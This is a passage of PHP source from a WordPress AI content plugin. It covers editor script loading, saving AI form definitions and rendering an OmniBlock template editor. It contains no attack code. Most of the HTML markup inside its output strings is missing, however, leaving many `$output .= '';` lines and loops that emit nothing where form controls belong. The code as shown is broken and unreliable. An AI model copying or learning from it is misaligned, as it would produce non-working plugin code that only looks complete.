                wp_enqueue_style($name . '-thumbnail-css-' . $cont, $src, __FILE__);
            }
            
            function aiomatic_get_date_now($param = 'now')
            {
                $date = new DateTime($param);
                $date = (array)$date;
                foreach ($date as $key => $value) {
                    if ($key == 'date') {
                        return $value;
                    }
                }
                return '';
            }
            
            function aiomatic_create_terms($taxonomy, $parent, $terms_str)
            {
                if(is_array($terms_str))
                {
                    $terms = $terms_str;
                }
                else
                {
                    $terms          = explode('/', $terms_str);
                }
                $categories     = array();
                $parent_term_id = $parent;
                foreach ($terms as $term) {
                    $res = term_exists($term, $taxonomy, $parent);
                    if ($res != NULL && $res != 0 && count($res) > 0 && isset($res['term_id'])) {
                        $parent_term_id = $res['term_id'];
                        $categories[]   = $parent_term_id;
                    } 
                    else 
                    {
                        if($parent === null)
                        {
                            $insert_parent = 0;
                        }
                        else
                        {
                            $insert_parent = $parent;
                        }
                        $new_term = wp_insert_term($term, $taxonomy, array(
                            'parent' => $insert_parent
                        ));
                        if (!is_wp_error( $new_term ) && $new_term != NULL && $new_term != 0 && count($new_term) > 0 && isset($new_term['term_id'])) {
                            $parent_term_id = $new_term['term_id'];
                            $categories[]   = $parent_term_id;
                        }
                    }
                }
                return $categories;
            }
            function aiomatic_getExcerpt($the_content)
            {
                $preview = aiomatic_strip_html_tags($the_content);
                $preview = wp_trim_words($preview, 55);
                return $preview;
            }
            
            function aiomatic_getPlainContent($the_content)
            {
                $preview = aiomatic_strip_html_tags($the_content);
                $preview = wp_trim_words($preview, 999999);
                return $preview;
            }
            function aiomatic_getItemImage($img)
            {
                if(empty($img))
                {
                    return '';
                }
                $preview = 'image';
                return $preview;
            }
            function aiomatic_get_session_id() {
                $name = md5(get_bloginfo());
                if ( isset(  $_COOKIE[$name . '_session_id'] ) ) {
                    return $_COOKIE[$name . '_session_id'];
                }
                else
                {
                    $unique = uniqid();
                    error_reporting(0);
                    setcookie($name . "_session_id", $unique, 0);
                    error_reporting(E_ALL);
                    return $unique;
                }
                return "N/A";
            }
            add_action( 'enqueue_block_editor_assets', 'aiomatic_enqueue_block_editor_assets' );
            function aiomatic_enqueue_block_editor_assets() {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $name = md5(get_bloginfo());
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on')
                {
                    $all_models = aiomatic_get_all_models(true);
                    $all_edit_models = array_merge($all_models, AIOMATIC_EDIT_MODELS);
                    wp_register_style($name . '-browser-style', plugins_url('styles/aiomatic-browser.css', __FILE__), false, AIOMATIC_MAJOR_VERSION);
                    wp_enqueue_style($name . '-browser-style');
                    $block_js_display = 'scripts/display-posts.js';
                    wp_enqueue_script(
                        $name . '-display-block-js', 
                        plugins_url( $block_js_display, __FILE__ ), 
                        array(
                            'wp-blocks',
                            'wp-i18n',
                            'wp-element',
                        ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_list   = 'scripts/list-posts.js';
                    wp_enqueue_script(
                        $name . '-list-block-js', 
                        plugins_url( $block_js_list, __FILE__ ), 
                        array(
                            'wp-blocks',
                            'wp-i18n',
                            'wp-element',
                        ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_article   = 'scripts/aiomatic-article.js';
                    wp_enqueue_script(
                        $name . '-article', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    wp_localize_script($name . '-article', 'aiomatic_object', array(
                        'models' => $all_models
                    ));
                    $block_js_image   = 'scripts/aiomatic-image.js';
                    wp_enqueue_script(
                        $name . '-image', 
                        plugins_url( $block_js_image, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_image   = 'scripts/aiomatic-stable-image.js';
                    wp_enqueue_script(
                        $name . '-stable-image', 
                        plugins_url( $block_js_image, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_image   = 'scripts/aiomatic-midjourney-image.js';
                    wp_enqueue_script(
                        $name . '-midjourney-image', 
                        plugins_url( $block_js_image, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_list   = 'scripts/sidebar.js';
                    wp_enqueue_script(
                        $name . '-sidebar-js', 
                        plugins_url( $block_js_list, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $metavalue = '';
                    $pid = get_the_ID();
                    if($pid !== false) {
                        $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                        if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '') {
                            $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                        } else {
                            $custom_name = 'aiomatic_published';
                        }
                        $metavalue = get_post_meta($pid, $custom_name, true);
                    }
                    wp_localize_script($name . '-sidebar-js', 'aiomatic_gut', array(
                        'ajaxurl' => admin_url('admin-ajax.php'),
                        'nonce' => wp_create_nonce('openai-ajax-nonce'),
                        'metavalue' => $metavalue,
                        'metaKey' => $custom_name
                    ));
                    $block_js_article   = 'scripts/aiomatic-completion.js';
                    wp_enqueue_script(
                        $name . '-completion', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    wp_localize_script($name . '-completion', 'aiomatic_object', array(
                        'models' => $all_models
                    ));
                    $block_js_article   = 'scripts/aiomatic-editing.js';
                    wp_enqueue_script(
                        $name . '-editing', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    wp_localize_script($name . '-editing', 'aiomatic_object', array(
                        'models' => $all_edit_models
                    ));
                    $block_js_article   = 'scripts/aiomatic-image-generator.js';
                    wp_enqueue_script(
                        $name . '-image-generator', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_article   = 'scripts/aiomatic-stable-image-generator.js';
                    wp_enqueue_script(
                        $name . '-stable-image-generator', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_article   = 'scripts/aiomatic-midjourney-image-generator.js';
                    wp_enqueue_script(
                        $name . '-midjourney-image-generator', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_article   = 'scripts/aiomatic-chat-selector.js';
                    wp_enqueue_script(
                        $name . '-chat-selector', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    $block_js_article   = 'scripts/aiomatic-chat.js';
                    wp_enqueue_script(
                        $name . '-chat', 
                        plugins_url( $block_js_article, __FILE__ ), 
                        array( 'wp-plugins', 'wp-edit-post', 'wp-element', 'wp-data' ),
                        AIOMATIC_MAJOR_VERSION
                    );
                    wp_localize_script($name . '-chat', 'aiomatic_object', array(
                        'models' => $all_models
                    ));
                    if (!isset($aiomatic_Main_Settings['assistant_disable']) || ($aiomatic_Main_Settings['assistant_disable'] == 'back' || $aiomatic_Main_Settings['assistant_disable'] == 'both'))
                    {
                        wp_enqueue_script(
                            $name . '-gutenberg',
                            plugins_url('/scripts/gutenberg-editor.js', __FILE__),
                            array('wp-rich-text'),
                            AIOMATIC_MAJOR_VERSION,
                            true
                        );
                        $assistant_placement = 'below';
                        if (isset($aiomatic_Main_Settings['assistant_placement']) && $aiomatic_Main_Settings['assistant_placement'] != '') 
                        {
                            $assistant_placement = $aiomatic_Main_Settings['assistant_placement'];
                        }
                        $prompts  = aiomatic_get_assistant();
                        if(!is_array($prompts))
                        {
                            $prompts = array();
                        }
                        $nonce = wp_create_nonce('wp_rest');
                        wp_localize_script($name . '-gutenberg', 'aiomatic', array(
                            'nonce'  =>  $nonce,
                            'ajaxurl' => admin_url('admin-ajax.php'),
                            'prompts' => $prompts,
                            'placement' => $assistant_placement,
                            'xicon' => plugins_url('/images/icon.png', __FILE__)
                        ));
                        $reg_css_code = '.aiomatic_editor_icon button{background-image: url("' . plugins_url('/images/icon.png', __FILE__) . '");background-size: 32px;background-repeat: no-repeat;background-position: center;}';
                        wp_register_style( $name . '-plugin-reg-style', false );
                        wp_enqueue_style( $name . '-plugin-reg-style' );
                        wp_add_inline_style( $name . '-plugin-reg-style', $reg_css_code );
                    }
                }
            }
            function aiomatic_save_forms($formid, $title, $prompt, $model, $header, $submit, $description, $response, $max, $temperature, $topp, $presence, $frequency, $type, $aiomaticfields, $assistant_id, $streaming_enabled, $editor, $advanced)
            {
                $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong forms saving');
                $forms_data = array(
                    'post_type' => 'aiomatic_forms',
                    'post_title' => $title,
                    'post_content' => $description,
                    'post_status' => 'publish'
                );
                if(!empty($formid))
                {
                    $forms_data['ID'] = $formid;
                }
                if (!empty($post_type)) {
                    $forms_data['post_type'] = $post_type;
                }
                remove_filter('content_save_pre', 'wp_filter_post_kses');
                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                if(!empty($formid))
                {
                    $forms_id = wp_update_post($forms_data);
                }
                else
                {
                    $forms_id = wp_insert_post($forms_data);
                }
                add_filter('content_save_pre', 'wp_filter_post_kses');
                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                if(is_wp_error($forms_id))
                {
                    $aiomatic_result['msg'] = $forms_id->get_error_message();
                }
                elseif($forms_id === 0)
                {
                    $aiomatic_result['msg'] = 'Failed to insert form to database: ' . $title;
                }
                else 
                {
                    update_post_meta($forms_id, 'prompt', $prompt);
                    update_post_meta($forms_id, 'model', $model);
                    update_post_meta($forms_id, 'assistant_id', $assistant_id);
                    update_post_meta($forms_id, 'header', $header);
                    update_post_meta($forms_id, 'editor', $editor);
                    update_post_meta($forms_id, 'advanced', $advanced);
                    update_post_meta($forms_id, 'submit', $submit);
                    update_post_meta($forms_id, 'max', $max);
                    update_post_meta($forms_id, 'temperature', $temperature);
                    update_post_meta($forms_id, 'topp', $topp);
                    update_post_meta($forms_id, 'presence', $presence);
                    update_post_meta($forms_id, 'frequency', $frequency);
                    update_post_meta($forms_id, 'streaming_enabled', $streaming_enabled);
                    update_post_meta($forms_id, 'response', $response);
                    update_post_meta($forms_id, 'type', $type);
                    update_post_meta($forms_id, '_aiomaticfields', $aiomaticfields);
                    $aiomatic_result['status'] = 'success';
                    $aiomatic_result['id'] = $forms_id;
                }
                return $aiomatic_result;
            }
            function get_omniblock_data($saved_cards, $original_post)
            {
                require_once (dirname(__FILE__) . "/res/aiomatic-languages.php");
                if(!isset($original_post->post_content))
                {
                    $output = 'Incorrect parameters submitted';
                    return $output;
                }
                $sortable_cards = $original_post->post_content;
                $default_block_types = aiomatic_omniblocks_default_block_types(); 
                $all_models = aiomatic_get_all_models(true);
                $all_models_function = aiomatic_get_all_models_function();
                $all_assistants = aiomatic_get_all_assistants(true);
                $all_dalle_models = aiomatic_get_dalle_image_models();
                $all_stable_models = aiomatic_get_stable_image_models();
                $all_formats = ['post-format-standard' => 'Standard', 'post-format-aside' => 'Aside', 'post-format-gallery' => 'Gallery', 'post-format-link' => 'Link', 'post-format-image' => 'Image', 'post-format-quote' => 'Quote', 'post-format-status' => 'Status', 'post-format-video' => 'Video', 'post-format-audio' => 'Audio', 'post-format-chat' => 'Chat'];
                $all_dalle_sizes = ['256x256' => '256x256', '512x512' => '512x512', '1024x1024' => '1024x1024', '1024x1792' => '1024x1792 (only for Dall-E 3)', '1792x1024' => '1792x1024 (only for Dall-E 3)'];
                $all_stable_sizes = ['512x512' => '512x512', '1024x1024' => '1024x1024'];
                $all_midjourney_sizes = ['512x512' => '512x512', '1024x1024' => '1024x1024', '1024x1792' => '1024x1792', '1792x1024' => '1792x1024'];
                $all_stable_video_sizes = ['768x768' => '768x768', '1024x576' => '1024x576', '576x1024' => '576x1024'];
                $all_scraper_types = ['auto' => 'Auto Detect', 'visual' => 'Visual Selector', 'id' => 'ID', 'class' => 'Class', 'xpath' => 'XPath/CSS Selector', 'regex' => 'Regex - First Match', 'regexall' => 'Regex - All Matches', 'raw' => 'Full HTML'];
                
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['deepl_auth'])) {
                    $deepl_auth = $aiomatic_Main_Settings['deepl_auth'];
                } else {
                    $deepl_auth = '';
                }
                if (isset($aiomatic_Main_Settings['bing_auth'])) {
                    $bing_auth = $aiomatic_Main_Settings['bing_auth'];
                } else {
                    $bing_auth = '';
                }
                $cont = '';
                $cats = '';
                $save_term = array();
                $terms = wp_get_object_terms( $original_post->ID, 'ai_template_categories' );
                if(!is_wp_error($terms))
                {
                    foreach($terms as  $tm)
                    {
                        $save_term[] = $tm->slug;
                    }
                    $cats = implode(';', $save_term);
                }
                $output = '
                
                      
            ' . esc_html__("Set the name of the OmniBlock template to save.", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("OmniBlock Template Title:", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Set the category of the OmniBlock template to save. You can add multiple categories, separated by ;", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("OmniBlock Template Category:", 'aiomatic-automatic-ai-content-writer') . ' '; $terms = get_terms([ 'taxonomy' => 'ai_template_categories', 'hide_empty' => false, ]); $aiomatic_tax_names = array(); foreach ($terms as $term) { $aiomatic_tax_names[] = $term->slug; } foreach($aiomatic_tax_names as $ln) { $output .= ''; } $output .= '
            '; $warning = ''; if(is_array($saved_cards) && !empty($saved_cards)) { $save_type_found = false; $zindex = 1; $num_cards = count($saved_cards); foreach ($saved_cards as $card_id) { $card_type_found = array(); foreach($default_block_types as $def_card) { if($card_id['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(empty($card_type_found)) { $warning .= '

            ' . esc_html__('OmniBlock type not found: ', 'aiomatic-automatic-ai-content-writer') . $card_id['type'] . '

            '; } if(isset($card_type_found['type']) && $card_type_found['type'] == 'save') { $save_type_found = true; } if($zindex == $num_cards) { if(isset($card_type_found['type']) && $card_type_found['type'] != 'save') { if(strstr($cats, 'manual') === false) { $warning .= '

            ' . esc_html__('Last OmniBlock is not a "Action" type block! In automatic runs, all data created after the last "Action" type block will be lost.', 'aiomatic-automatic-ai-content-writer') . '

            '; } } } $zindex++; if(isset($card_type_found['type']) && $card_type_found['type'] == 'create' ) { if(isset($card_type_found['shortcodes']) && !empty($card_type_found['shortcodes'])) { $local_shortcodes = array(); foreach($card_type_found['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } if($shtc == 'file_') { $local_shortcodes[] = '%%xlsx_' . $card_id['identifier'] . '_'; } if($shtc == 'webhook_data_') { $local_shortcodes[] = '%%webhook_data_' . $card_id['identifier'] . '_'; } $not_found_blocks = array(); $block_found = false; foreach ($saved_cards as $saved_card_id) { foreach($saved_card_id['parameters'] as $name => $orig_text) { foreach($local_shortcodes as $lsc) { if(!empty($orig_text) && strstr($orig_text, $lsc) !== false) { $block_found = true; break; } } if($block_found == true) { break; } } if($block_found == true) { break; } } if($block_found === false) { $not_found_blocks[] = $card_id['identifier']; } if(!empty($not_found_blocks)) { if(strstr($cats, 'manual') === false) { $warning .= '

            ' . esc_html__('The following OmniBlock IDs are not used in the queue (you can remove them): ', 'aiomatic-automatic-ai-content-writer') . implode(',', $not_found_blocks) . '

            '; } } } } } if($save_type_found === false) { if(strstr($cats, 'manual') === false) { $warning .= '

            ' . esc_html__('No "Action" type OmniBlock added in the queue! Add a "Action" type OmniBlock, like: "Save Posts" to store the data which was created by the AI. Otherwise, it will be lost.', 'aiomatic-automatic-ai-content-writer') . '

            '; } } } else { $warning .= '

            ' . esc_html__('Failed to decode OmniBlocks data!', 'aiomatic-automatic-ai-content-writer') . '

            '; } if($warning != '') { $output .= '

            ' . esc_html__('Block Validation Errors', 'aiomatic-automatic-ai-content-writer') . ':

            ' . $warning . ''; } $output .= '

            ' . esc_html__('Manage AI OmniBlocks', 'aiomatic-automatic-ai-content-writer') . ':

            ' . esc_html__("OmniBlock Queue Starts Here", 'aiomatic-automatic-ai-content-writer') . '
              '; $last_id = '1'; if(empty($default_block_types)) { $output .= esc_html__('No AI OmniBlock Types Added To This Rule', 'aiomatic-automatic-ai-content-writer'); } else { if(empty($saved_cards) && !is_array($saved_cards)) { $output .= esc_html__('Failed to decode saved blocks data!', 'aiomatic-automatic-ai-content-writer'); } else { $exec = 1; $new_shortcodes_arr = array('%%keyword%%'); foreach ($saved_cards as $card_id) { if(!empty($card_id['type'])) { $assistant_helper = uniqid(); $urlrandval = uniqid(); $last_id = $card_id['identifier']; $card_type_found = array(); foreach($default_block_types as $def_card) { if($card_id['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(empty($card_type_found)) { aiomatic_log_to_file('Warning! OmniBlock type not found for: ' . print_r($card_id, true)); } else { $local_shortcodes = array(); foreach($card_type_found['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } $plugin_required = array(); if(!empty($card_type_found['required_plugin'])) { foreach($card_type_found['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } $output .= '
            • '; if($card_type_found['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_type_found['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } foreach($card_id['parameters'] as $name => $orig_text) { if(isset($card_type_found['parameters'][$name]) && isset($card_type_found['parameters'][$name]['type']) && ($card_type_found['parameters'][$name]['type'] == 'text' || $card_type_found['parameters'][$name]['type'] == 'textarea' || $card_type_found['parameters'][$name]['type'] == 'url' || $card_type_found['parameters'][$name]['type'] == 'scraper_string')) { foreach($new_shortcodes_arr as $sha) { $orig_text = str_replace($sha, '', $orig_text); } $incorrect_sh = array(); foreach($default_block_types as $cardt) { foreach($cardt['shortcodes'] as $shc) { preg_match_all('~(%%' . $shc . '[a-zA-Z0-9]*?%%)~', $orig_text, $submatches); if(isset($submatches[1][0])) { foreach($submatches[1] as $incsh) { $incorrect_sh[] = $incsh; } } } } if(!empty($incorrect_sh)) { $plugin_required[] = 'This block has some incorrect shortcodes: ' . implode(',', $incorrect_sh); } } } if(!empty($plugin_required)) { $output .= '

                '; foreach($plugin_required as $pr) { $output .= '
              • ' . $pr . '
              • '; } $output .= '

              '; } $output .= '
              ' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' 
              ' . esc_html__('Created shortcodes by this OmniBlock (usable in OmniBlocks from below this one): ', 'aiomatic-automatic-ai-content-writer'); $output .= '
                '; foreach($card_type_found['shortcodes'] as $shtc) { $output .= '
              • %%' . $shtc . $card_id['identifier'] . '%%
              • '; } $output .= '
              '; if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $rest_url = rest_url('omniblock/v1/webhook'); if(isset($card_id['parameters']['api_key']) && !empty(trim($card_id['parameters']['api_key']))) { $rest_url = add_query_arg('apikey', trim($card_id['parameters']['api_key']), $rest_url); } $rest_url = add_query_arg('omniblockid', trim($cont) . '_' . trim($card_id['identifier']), $rest_url); $rest_url = add_query_arg('input', urlencode('Webhooks in WordPress'), $rest_url); $card_type_found['description'] = str_replace('%%webhook_url%%', '
              ' . $rest_url . '', $card_type_found['description']); } else { $card_type_found['description'] = str_replace('%%webhook_url%%', '' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '', $card_type_found['description']); } $output .= '
               ' . esc_attr($card_type_found['name']) . '

              ' . $card_type_found['description'] . '

              '; $output .= '

              ' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' 
              ' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '


              '; foreach($card_type_found['parameters'] as $name => $card_type) { $output .= '

              ' . esc_html($card_type['title']) . ': 
              ' . esc_html($card_type['description']) . '

              '; if($card_type['type'] == 'text') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '
              '; $output .= ''; if(count($new_shortcodes_arr) > 0) { $output .= '
              '; } foreach($new_shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); $output .= '

              '; $output .= $myshort; $output .= '

              '; } if(count($new_shortcodes_arr) > 0) { $output .= '
              '; } $output .= '
              '; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '
              '; $output .= ''; if(count($new_shortcodes_arr) > 0) { $output .= '
              '; } foreach($new_shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); $output .= '

              '; $output .= $myshort; $output .= '

              '; } if($card_type_found['id'] == 'ai_text_foreach' && $name == 'prompt') { $output .= '

              '; $output .= '%%current_input_line%%'; $output .= '

              '; $output .= '

              '; $output .= '%%current_input_line_counter%%'; $output .= '

              '; $output .= '

              '; $output .= '%%all_input_lines%%'; $output .= '

              '; } if(count($new_shortcodes_arr) > 0) { $output .= '
              '; } $output .= '
              '; } elseif($card_type['type'] == 'model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'model_select_function') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'assistant_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; wp_add_inline_script(md5(get_bloginfo()) . '-footer-script', 'assistantChanged(\'xa' . $assistant_helper . '\');', 'after'); } elseif($card_type['type'] == 'dalle_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'stable_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'midjourney_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'stable_video_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'scraper_type') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'scraper_string') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'number') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'checkbox') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'dalle_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'stable_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'status_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'amazon_country_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'yt_community_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('text' => 'Text', 'image' => 'Image'); $output .= ''; } elseif($card_type['type'] == 'reddit_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $reddit_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); $output .= ''; } elseif($card_type['type'] == 'method_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $reddit_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); $output .= ''; } elseif($card_type['type'] == 'content_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $reddit_types = array('JSON' => 'JSON', 'form' => 'Form Data'); $output .= ''; } elseif($card_type['type'] == 'facebook_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'location_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'file_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'pinterest_board_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'gpb_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'linkedin_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'language_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'format_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= ''; } elseif($card_type['type'] == 'url') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '
              '; $output .= ''; if(count($new_shortcodes_arr) > 0) { $output .= '
              '; } foreach($new_shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); $output .= '

              '; $output .= $myshort; $output .= '

              '; } if(count($new_shortcodes_arr) > 0) { $output .= '
              '; } $output .= '
              '; } elseif($card_type['type'] == 'scraper_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '
              ' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '
              '; $output .= ' X
              ' . esc_html__("Step", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($exec) . '
              ' . esc_html__("ID:", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($card_id['identifier']) . '
